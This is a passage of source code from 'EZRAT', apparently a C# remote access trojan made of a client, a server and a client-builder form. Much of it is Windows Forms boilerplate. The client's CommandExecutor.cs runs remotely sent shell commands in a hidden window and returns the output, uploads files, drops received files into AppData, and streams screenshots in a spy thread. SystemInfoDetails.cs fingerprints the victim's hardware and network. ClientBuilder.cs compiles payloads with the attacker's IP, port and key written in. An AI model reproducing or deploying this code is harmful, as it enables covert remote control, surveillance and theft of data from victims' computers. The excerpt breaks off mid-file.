94 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
95 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
96 | this.BackColor = System.Drawing.Color.DarkGray;
97 | this.ClientSize = new System.Drawing.Size(597, 290);
98 | this.Controls.Add(this.btnGet);
99 | this.Controls.Add(this.btnSend);
100 | this.Controls.Add(this.tbxMsg);
101 | this.Controls.Add(this.rtbMsg);
102 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
103 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
104 | this.MaximizeBox = false;
105 | this.Name = "Chat";
106 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent;
107 | this.Text = "Chat";
108 | this.ResumeLayout(false);
109 | this.PerformLayout();
110 |
111 | }
112 |
113 | #endregion
114 |
115 | private System.Windows.Forms.RichTextBox rtbMsg;
116 | private System.Windows.Forms.TextBox tbxMsg;
117 | private System.Windows.Forms.Button btnSend;
118 | private System.Windows.Forms.Button btnGet;
119 | }
120 | }
--------------------------------------------------------------------------------
/EZRATServer/Forms/MessageBoxEditor.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace EZRATServer
2 | {
3 | partial class MessageBoxEditor
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(MessageBoxEditor));
32 | this.lblTitle = new System.Windows.Forms.Label();
33 | this.lblText = new System.Windows.Forms.Label();
34 | this.tbxTitle = new System.Windows.Forms.TextBox();
35 | this.rtbText = new System.Windows.Forms.RichTextBox();
36 | this.btnValidate = new System.Windows.Forms.Button();
37 | this.pnlIcon = new System.Windows.Forms.Panel();
38 | this.cmbIcon = new System.Windows.Forms.ComboBox();
39 | this.SuspendLayout();
40 | //
41 | // lblTitle
42 | //
43 | this.lblTitle.AutoSize = true;
44 | this.lblTitle.Location = new System.Drawing.Point(11, 9);
45 | this.lblTitle.Name = "lblTitle";
46 | this.lblTitle.Size = new System.Drawing.Size(36, 13);
47 | this.lblTitle.TabIndex = 0;
48 | this.lblTitle.Text = "Title : ";
49 | //
50 | // lblText
51 | //
52 | this.lblText.AutoSize = true;
53 | this.lblText.Location = new System.Drawing.Point(10, 56);
54 | this.lblText.Name = "lblText";
55 | this.lblText.Size = new System.Drawing.Size(37, 13);
56 | this.lblText.TabIndex = 1;
57 | this.lblText.Text = "Text : ";
58 | //
59 | // tbxTitle
60 | //
61 | this.tbxTitle.Location = new System.Drawing.Point(14, 29);
62 | this.tbxTitle.Name = "tbxTitle";
63 | this.tbxTitle.Size = new System.Drawing.Size(286, 20);
64 | this.tbxTitle.TabIndex = 2;
65 | //
66 | // rtbText
67 | //
68 | this.rtbText.Location = new System.Drawing.Point(13, 75);
69 | this.rtbText.Name = "rtbText";
70 | this.rtbText.Size = new System.Drawing.Size(286, 96);
71 | this.rtbText.TabIndex = 3;
72 | this.rtbText.Text = "";
73 | //
74 | // btnValidate
75 | //
76 | this.btnValidate.Location = new System.Drawing.Point(331, 148);
77 | this.btnValidate.Name = "btnValidate";
78 | this.btnValidate.Size = new System.Drawing.Size(75, 23);
79 | this.btnValidate.TabIndex = 4;
80 | this.btnValidate.Text = "OK";
81 | this.btnValidate.UseVisualStyleBackColor = true;
82 | //
83 | // pnlIcon
84 | //
85 | this.pnlIcon.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
86 | this.pnlIcon.Location = new System.Drawing.Point(331, 75);
87 | this.pnlIcon.Name = "pnlIcon";
88 | this.pnlIcon.Size = new System.Drawing.Size(47, 40);
89 | this.pnlIcon.TabIndex = 5;
90 | //
91 | // cmbIcon
92 | //
93 | this.cmbIcon.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
94 | this.cmbIcon.FormattingEnabled = true;
95 | this.cmbIcon.Location = new System.Drawing.Point(317, 29);
96 | this.cmbIcon.Name = "cmbIcon";
97 | this.cmbIcon.Size = new System.Drawing.Size(121, 21);
98 | this.cmbIcon.TabIndex = 6;
99 | //
100 | // MessageBoxEditor
101 | //
102 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
103 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
104 | this.ClientSize = new System.Drawing.Size(452, 207);
105 | this.Controls.Add(this.cmbIcon);
106 | this.Controls.Add(this.pnlIcon);
107 | this.Controls.Add(this.btnValidate);
108 | this.Controls.Add(this.rtbText);
109 | this.Controls.Add(this.tbxTitle);
110 | this.Controls.Add(this.lblText);
111 | this.Controls.Add(this.lblTitle);
112 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
113 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
114 | this.MaximizeBox = false;
115 | this.MinimizeBox = false;
116 | this.Name = "MessageBoxEditor";
117 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent;
118 | this.Text = "MessageBoxEditor";
119 | this.ResumeLayout(false);
120 | this.PerformLayout();
121 |
122 | }
123 |
124 | #endregion
125 |
126 | private System.Windows.Forms.Label lblTitle;
127 | private System.Windows.Forms.Label lblText;
128 | private System.Windows.Forms.TextBox tbxTitle;
129 | private System.Windows.Forms.RichTextBox rtbText;
130 | private System.Windows.Forms.Button btnValidate;
131 | private System.Windows.Forms.Panel pnlIcon;
132 | private System.Windows.Forms.ComboBox cmbIcon;
133 | }
134 | }
--------------------------------------------------------------------------------
/EZRATClient/Forms/Chat.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/EZRATServer/Forms/Starting.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/EZRATServer/Forms/NameUpload.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/EZRATServer/Forms/RenameFile.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/EZRATServer/Utils/ImageContextMenu.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 | False
122 |
123 |
--------------------------------------------------------------------------------
/EZRATClient/Core/CommandExecutor.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.IO;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Runtime.InteropServices;
8 | using EZRATClient.Utils;
9 | using System.Threading;
10 | using System.Drawing.Imaging;
11 | using System.Net.Sockets;
12 |
13 | namespace EZRATClient.Core
14 | {
15 | public static class CommandExecutor
16 | {
17 | public static void ExecuteCommand(string command, string path = "C:\\")
18 | {
19 | ProcessStartInfo procStartInfo = new ProcessStartInfo("cmd", "/C " + command);
20 |
21 | procStartInfo.RedirectStandardOutput = true;
22 | procStartInfo.UseShellExecute = false;
23 | procStartInfo.CreateNoWindow = true;
24 | procStartInfo.WorkingDirectory = path;
25 | System.Diagnostics.Process proc = new System.Diagnostics.Process();
26 | proc.StartInfo = procStartInfo;
27 | proc.Start();
28 | string result = proc.StandardOutput.ReadToEnd();
29 | Program.SendCommand("cmd;" + path + ";" + result);
30 | }
31 |
32 |
33 |
34 | public static void ReceiveFile(string path)
35 | {
36 | if (path == "" || path == null)
37 | {
38 | path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Song.wav";
39 | }
40 | int size = 1024;
41 | long sizeFile = 0, tot = 0;
42 | FileStream fs = new FileStream(path, FileMode.Create);
43 | NetworkStream ns = new NetworkStream(Program._clientSocket);
44 | try
45 | {
46 | byte[] data = new byte[size];
47 | bool loop_break = true;
48 | ns.ReadTimeout = 2000;
49 | do
50 | {
51 | int nb = ns.Read(data, 0, size);
52 | fs.Write(data, 0, nb);
53 | fs.Flush();
54 | tot += (uint)nb;
55 | if (nb == -1)
56 | {
57 | loop_break = false;
58 | }
59 | } while (loop_break);
60 | }
61 | catch (IOException ex)
62 | {
63 | Console.WriteLine($"Total data write : {tot}");
64 | fs.Close();
65 | ns.Close();
66 | Program.SendCommand("upfilestop;");
67 | return;
68 | }
69 | }
70 |
71 |
72 | private static byte[] CreateDataPacket(byte[] cmd, byte[] data)
73 | {
74 | byte[] initialize = new byte[1];
75 | initialize[0] = 2;
76 | byte[] separator = new byte[1];
77 | separator[0] = 4;
78 | byte[] datalength = Encoding.UTF8.GetBytes(Convert.ToString(data.Length));
79 | MemoryStream ms = new MemoryStream();
80 | ms.Write(initialize, 0, initialize.Length);
81 | ms.Write(cmd, 0, cmd.Length);
82 | ms.Write(datalength, 0, datalength.Length);
83 | ms.Write(separator, 0, separator.Length);
84 | ms.Write(data, 0, data.Length);
85 | return ms.ToArray();
86 | }
87 |
88 | public static byte[] ReadStream(NetworkStream ns)
89 | {
90 | byte[] data_buff = null;
91 |
92 | int b = 0;
93 | String buff_length = "";
94 | while ((b = ns.ReadByte()) != 4)
95 | {
96 | buff_length += (char)b;
97 | }
98 | int data_length = Convert.ToInt32(buff_length);
99 | data_buff = new byte[data_length];
100 | int byte_read = 0;
101 | int byte_offset = 0;
102 | while (byte_offset < data_length)
103 | {
104 | byte_read = ns.Read(data_buff, byte_offset, data_length - byte_offset);
105 | byte_offset += byte_read;
106 | }
107 |
108 | return data_buff;
109 | }
110 |
111 | public static void SendFile(string path)
112 | {
113 | if (!Program._clientSocket.Connected) //If the client isn't connected
114 | {
115 | Console.WriteLine("Socket is not connected!");
116 | return; //Return
117 | }
118 |
119 |
120 | string file_name = Path.GetFileName(path);
121 | int size = 1024;
122 | uint tot = 0;
123 | FileStream fs = new FileStream(path, FileMode.Open);
124 | NetworkStream ns = new NetworkStream(Program._clientSocket);
125 | byte[] data = new byte[size];
126 | while (tot < fs.Length)
127 | {
128 | fs.Read(data, 0, size);
129 | tot += (uint)data.Length;
130 | ns.Write(data, 0, size);
131 | }
132 | Console.WriteLine($"Total data : {tot}");
133 | fs.Close();
134 | }
135 |
136 | public static void WindowsControl(string command)
137 | {
138 | ProcessStartInfo procStartInfo = new ProcessStartInfo("cmd", "/C " + command);
139 | procStartInfo.RedirectStandardOutput = false;
140 | procStartInfo.UseShellExecute = false;
141 | procStartInfo.CreateNoWindow = true;
142 | System.Diagnostics.Process proc = new System.Diagnostics.Process();
143 | proc.StartInfo = procStartInfo;
144 | proc.Start();
145 | }
146 |
147 |
148 | // For futur use
149 | public static Thread ScreenSpyThread()
150 | {
151 | Constantes.Spy = new Thread(() =>
152 | {
153 | while (true)
154 | {
155 | string tmp = "screenspy;" + TakeScreenShot();
156 | Program.SendCommand(tmp);
157 | Thread.Sleep(Constantes.ScreenShotSpeed);
158 | }
159 | });
160 | Constantes.Spy.Start();
161 | return Constantes.Spy;
162 | }
163 |
164 | unsafe public static void StopScreenSpyThread()
165 | {
166 | Constantes.Spy.Abort();
167 | }
168 |
169 | public static string TakeScreenShot()
170 | {
171 | string result = null;
172 | using (MemoryStream ms = new MemoryStream())
173 | {
174 | ScreenUtils.ScreenShot().Save(ms, ImageFormat.Png);
175 | result = Encoding.Default.GetString(ms.ToArray());
176 | }
177 | return result;
178 | }
179 |
180 |
181 | }
182 | }
183 |
--------------------------------------------------------------------------------
/EZRATClient/Utils/SystemInfoDetails.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Management;
5 | using System.Net;
6 | using System.Net.NetworkInformation;
7 | using System.Net.Sockets;
8 | using System.Text;
9 |
10 | namespace EZRATClient.Utils
11 | {
12 | class SystemInfoDetails
13 | {
14 |
15 | public static string GetBiosIdentifier()
16 | {
17 | try
18 | {
19 | string biosIdentifier = string.Empty;
20 | string query = "SELECT * FROM Win32_BIOS";
21 |
22 | using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
23 | {
24 | foreach (ManagementObject mObject in searcher.Get())
25 | {
26 | biosIdentifier = mObject["Manufacturer"].ToString();
27 | break;
28 | }
29 | }
30 |
31 | string tmp = "Bios : ";
32 | tmp += (!string.IsNullOrEmpty(biosIdentifier)) ? biosIdentifier : "N/A";
33 | return tmp;
34 | }
35 | catch
36 | {
37 | }
38 |
39 | return "Unknown";
40 | }
41 |
42 | public static string GetMainboardIdentifier()
43 | {
44 | try
45 | {
46 | string mainboardIdentifier = string.Empty;
47 | string query = "SELECT * FROM Win32_BaseBoard";
48 |
49 | using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
50 | {
51 | foreach (ManagementObject mObject in searcher.Get())
52 | {
53 | mainboardIdentifier = mObject["Manufacturer"].ToString() + mObject["SerialNumber"].ToString();
54 | break;
55 | }
56 | }
57 |
58 | string tmp = "Mainboard : ";
59 | tmp += (!string.IsNullOrEmpty(mainboardIdentifier)) ? mainboardIdentifier : "N/A";
60 | return tmp;
61 | }
62 | catch
63 | {
64 | }
65 |
66 | return "Unknown";
67 | }
68 |
69 | public static string GetCpuName()
70 | {
71 | try
72 | {
73 | string cpuName = string.Empty;
74 | string query = "SELECT * FROM Win32_Processor";
75 |
76 | using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
77 | {
78 | foreach (ManagementObject mObject in searcher.Get())
79 | {
80 | cpuName += mObject["Name"].ToString() + "; ";
81 | }
82 | }
83 | cpuName = cpuName.Substring(0, cpuName.Length - 1);
84 | string tmp = "CPU : ";
85 | tmp += (!string.IsNullOrEmpty(cpuName)) ? cpuName : "N/A";
86 | return tmp;
87 | }
88 | catch
89 | {
90 |
91 | }
92 |
93 | return "Unknown";
94 | }
95 |
96 | public static string GetTotalRamAmount()
97 | {
98 | try
99 | {
100 | double installedRAM = 0;
101 | string query = "Select * From Win32_ComputerSystem";
102 |
103 | using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
104 | {
105 | foreach (ManagementObject mObject in searcher.Get())
106 | {
107 | double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"]));
108 | installedRAM = bytes;
109 | break;
110 | }
111 | }
112 | string tmp = $"RAM : {ToolBox.ReduceByteSize(installedRAM.ToString())}";
113 | return tmp;
114 | }
115 | catch
116 | {
117 | return "RAM : 0";
118 | }
119 | }
120 |
121 | public static string GetGpuName()
122 | {
123 | try
124 | {
125 | string gpuName = string.Empty;
126 | string query = "SELECT * FROM Win32_DisplayConfiguration";
127 |
128 | using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
129 | {
130 | foreach (ManagementObject mObject in searcher.Get())
131 | {
132 | gpuName += mObject["Description"].ToString() + "; ";
133 | }
134 | }
135 | string tmp = "GPU : ";
136 | gpuName = gpuName.Substring(0, gpuName.Length - 1);
137 |
138 | tmp += (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A";
139 | return tmp;
140 | }
141 | catch
142 | {
143 | return "Unknown";
144 | }
145 | }
146 |
147 | public static string GetLanIp(bool onlyIp = false)
148 | {
149 | foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
150 | {
151 | GatewayIPAddressInformation gatewayAddress = ni.GetIPProperties().GatewayAddresses.FirstOrDefault();
152 | if (gatewayAddress != null) //exclude virtual physical nic with no default gateway
153 | {
154 | if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 ||
155 | ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet &&
156 | ni.OperationalStatus == OperationalStatus.Up)
157 | {
158 | foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses)
159 | {
160 | if (ip.Address.AddressFamily != AddressFamily.InterNetwork ||
161 | ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
162 | continue;
163 |
164 | return (onlyIp)? ip.Address.ToString():$"IP : {ip.Address.ToString()}";
165 | }
166 | }
167 | }
168 | }
169 |
170 | return "-";
171 | }
172 |
173 | public static string GetMacAddress()
174 | {
175 | foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
176 | {
177 | if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 ||
178 | ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet &&
179 | ni.OperationalStatus == OperationalStatus.Up)
180 | {
181 | bool foundCorrect = false;
182 | foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses)
183 | {
184 | if (ip.Address.AddressFamily != AddressFamily.InterNetwork ||
185 | ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
186 | continue;
187 |
188 | var tmp = IPAddress.Parse(GetLanIp(true));
189 | if (ip.Address.Address == tmp.Address)
190 | {
191 | foundCorrect = true;
192 | }
193 | }
194 |
195 | if (foundCorrect)
196 | {
197 | string addr = string.Empty;
198 | StringBuilder sb = new StringBuilder(ni.GetPhysicalAddress().ToString().ToUpper());
199 | for (int i = 0; i < sb.Length; i+=2)
200 | {
201 | addr += $"{sb[i]}{sb[i + 1]}-";
202 | }
203 | return $"MAC : {addr.Substring(0,addr.Length - 1)}";
204 | }
205 | }
206 | }
207 |
208 | return "-";
209 | }
210 | }
211 | }
212 |
--------------------------------------------------------------------------------
/EZRATServer/Forms/ClientBuilder.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.CSharp;
2 | using System;
3 | using System.CodeDom.Compiler;
4 | using System.Collections.Generic;
5 | using System.ComponentModel;
6 | using System.Data;
7 | using System.Diagnostics;
8 | using System.Drawing;
9 | using System.IO;
10 | using System.Linq;
11 | using System.Net.NetworkInformation;
12 | using System.Net.Sockets;
13 | using System.Reflection;
14 | using System.Windows.Forms;
15 |
16 | namespace EZRATServer.Forms
17 | {
18 | public partial class ClientBuilder : Form
19 | {
20 | private bool _optionsAdvanced = false;
21 | private Size _normalSize = new Size(365, 310);
22 | private Size _advancedSize = new Size(675, 310);
23 |
24 | public bool OptionsAdvanced { get => _optionsAdvanced; set => _optionsAdvanced = value; }
25 |
26 | public ClientBuilder()
27 | {
28 | InitializeComponent();
29 | this.tbxIP.Text = GetLanIp();
30 | this.tbxOutput.Text = Environment.CurrentDirectory;
31 | this.btnBuild.Click += Builder;
32 | this.lblOptions.Click += AdvancedOptions;
33 | this.btnSearch.Click += SearchingBuild;
34 | this.btnSearchingClient.Click += SearchingClient;
35 | this.btnOutput.Click += SearchingOutput;
36 | this.Size = _normalSize;
37 | }
38 |
39 |
40 | private void SearchingOutput(object sender, EventArgs e)
41 | {
42 |
43 | FolderBrowserDialog fld = new FolderBrowserDialog();
44 | fld.RootFolder = Environment.SpecialFolder.Desktop;
45 | if (fld.ShowDialog() == DialogResult.OK)
46 | {
47 | this.tbxOutput.Text = fld.SelectedPath;
48 | }
49 | }
50 | private void SearchingBuild(object sender, EventArgs e)
51 | {
52 | OpenFileDialog opf = new OpenFileDialog();
53 | opf.Multiselect = false;
54 | opf.Filter = "MSBuild.exe|*.exe";
55 | opf.Title = "MSBuilder searcher";
56 | if (opf.ShowDialog() == DialogResult.OK)
57 | {
58 | this.tbxBuild.Text = opf.FileName;
59 | }
60 | }
61 |
62 | private void SearchingClient(object sender, EventArgs e)
63 | {
64 | OpenFileDialog opf = new OpenFileDialog();
65 | opf.Multiselect = false;
66 | opf.InitialDirectory = Environment.CurrentDirectory;
67 | opf.Filter = "EZRATClient.csproj|EZRATClient.csproj";
68 | opf.Title = "Client project searcher";
69 | if (opf.ShowDialog() == DialogResult.OK)
70 | {
71 | this.tbxClientProj.Text = opf.FileName;
72 | }
73 | }
74 |
75 |
76 | private void AdvancedOptions(object sender, EventArgs e)
77 | {
78 | if (!OptionsAdvanced)
79 | {
80 | this.Size = _advancedSize;
81 | this.lblOptions.Text = "Options Advanced";
82 | this.OptionsAdvanced = true;
83 | }
84 | else
85 | {
86 | this.Size = _normalSize;
87 | this.lblOptions.Text = "Options";
88 | this.OptionsAdvanced = false;
89 | }
90 | }
91 |
92 |
93 | private string GetLanIp()
94 | {
95 | foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
96 | {
97 | GatewayIPAddressInformation gatewayAddress = ni.GetIPProperties().GatewayAddresses.FirstOrDefault();
98 | if (gatewayAddress != null) //exclude virtual physical nic with no default gateway
99 | {
100 | if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 ||
101 | ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet &&
102 | ni.OperationalStatus == OperationalStatus.Up)
103 | {
104 | foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses)
105 | {
106 | if (ip.Address.AddressFamily != AddressFamily.InterNetwork ||
107 | ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
108 | continue;
109 |
110 | return ip.Address.ToString();
111 | }
112 | }
113 | }
114 | }
115 |
116 | return "-";
117 | }
118 |
119 |
120 |
121 |
122 | // ..\..\..\..\EZRATClient\*.cs
123 | private void Builder(object sender, EventArgs e)
124 | {
125 | for (int i = 0; i < 2; i++)
126 | {
127 | EditConstantesClient();
128 | Process proc = new Process();
129 | proc.StartInfo.FileName = this.tbxBuild.Text;
130 | proc.StartInfo.WorkingDirectory = this.tbxClientProj.Text.Substring(0, this.tbxClientProj.Text.LastIndexOf("\\"));
131 | proc.StartInfo.Verb = $"/C /property:Configuration=Debug {this.tbxClientProj.Text}";
132 | proc.StartInfo.UseShellExecute = false;
133 | proc.StartInfo.CreateNoWindow = true;
134 | proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
135 | proc.StartInfo.RedirectStandardOutput = true;
136 | proc.Start();
137 | while (!proc.StandardOutput.EndOfStream)
138 | {
139 | string line = proc.StandardOutput.ReadLine();
140 | Console.WriteLine(line);
141 | }
142 | MoveClient();
143 | ResetConstantesValue();
144 | }
145 | MessageBox.Show($"The client {this.tbxName.Text} is created", "Client generated", MessageBoxButtons.OK, MessageBoxIcon.Information);
146 | this.Close();
147 | }
148 |
149 |
150 | private void ResetConstantesValue()
151 | {
152 | string fileName = $@"{this.tbxClientProj.Text.Substring(0, this.tbxClientProj.Text.LastIndexOf("\\"))}\Utils\Constantes.cs";
153 | string text = File.ReadAllText(fileName);
154 | text = text.Replace($"{this.tbxIP.Text}", "192.168.1.112");
155 | text = text.Replace($"{this.tbxPort.Text}", "1234");
156 | if (this.tbxScreenSpy.Text != string.Empty)
157 | text = text.Replace($"{this.tbxScreenSpy.Text}", "100");
158 | if (this.tbxImageX.Text != string.Empty)
159 | text = text.Replace($"({this.tbxImageX.Text},{this.tbxImageY.Text})", "(1280,720)");
160 | if (this.tbxKey.Text != string.Empty)
161 | text = text.Replace($"{this.tbxKey.Text}", "POULPE212123542345235");
162 | File.WriteAllText(fileName, text);
163 | }
164 |
165 | private void EditConstantesClient()
166 | {
167 | string fileName = $@"{this.tbxClientProj.Text.Substring(0, this.tbxClientProj.Text.LastIndexOf("\\"))}\Utils\Constantes.cs";
168 | string text = File.ReadAllText(fileName);
169 | text = text.Replace("192.168.1.112", $"{this.tbxIP.Text}");
170 | text = text.Replace("1234", $"{this.tbxPort.Text}");
171 | if (this.tbxScreenSpy.Text != string.Empty)
172 | text = text.Replace("100", $"{this.tbxScreenSpy.Text}");
173 | if (this.tbxImageX.Text != string.Empty)
174 | text = text.Replace("(1280,720)", $"({this.tbxImageX.Text},{this.tbxImageY.Text})");
175 | if (this.tbxKey.Text != string.Empty)
176 | text = text.Replace("POULPE212123542345235", $"{this.tbxKey.Text}");
177 | File.WriteAllText(fileName, text);
178 | }
179 |
180 |
181 | private void MoveClient()
182 | {
183 | string path = $"{this.tbxClientProj.Text.Substring(0, this.tbxClientProj.Text.LastIndexOf("\\"))}\\bin\\Debug\\EZRATClient.exe";
184 | string dest = this.tbxOutput.Text + tbxName.Text;
185 | if (File.Exists(dest))
186 | {
187 | File.Delete(dest);
188 | File.Move(path,dest);
189 | }
190 | else
191 | File.Move(path, dest);
192 | }
193 |
194 | }
195 | }
196 |
--------------------------------------------------------------------------------
/EZRATServer/Forms/FileBrowser.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Threading.Tasks;
9 | using System.Windows.Forms;
10 | using EZRATServer.Network;
11 | using EZRATServer.Forms;
12 | using EZRATServer.Utils;
13 | using System.IO;
14 | using System.Net.Sockets;
15 | using System.Threading;
16 |
17 | namespace EZRATServer
18 | {
19 | public partial class FileBrowser : Form
20 | {
21 |
22 |
23 | const string STATUS_TEXT = "Number of files and folder : ";
24 |
25 | private int _id;
26 |
27 | public int Id
28 | {
29 | get { return _id; }
30 | set { _id = value; }
31 | }
32 |
33 |
34 | private string _pathDownload;
35 |
36 |
37 |
38 | public string PathDownload { get => _pathDownload; set => _pathDownload = value; }
39 |
40 | private string _path;
41 |
42 | public string Path
43 | {
44 | get { return _path; }
45 | set { _path = value; }
46 | }
47 |
48 | private Server _parent;
49 |
50 | public Server BaseWindows
51 | {
52 | get { return _parent; }
53 | set { _parent = value; }
54 | }
55 |
56 |
57 | public enum FileType : int
58 | {
59 | File = 1,
60 | Folder = 2,
61 | }
62 |
63 | public FileBrowser(Server parent, int id)
64 | {
65 | InitializeComponent();
66 |
67 | this.BaseWindows = parent;
68 | this.cmbDrives.SelectedIndexChanged += UpdatePath;
69 | this.lstFiles.MouseDoubleClick += NewPath;
70 | this.downloadMenu.Click += DownloadFile;
71 | this.uploadMenu.Click += UploadFile;
72 | this.renameMenu.Click += RenameFile;
73 | this.deleteMenu.Click += DeleteFile;
74 | this.picUp.Click += UpPath;
75 | }
76 |
77 | private void DownloadFile(object sender, EventArgs e)
78 | {
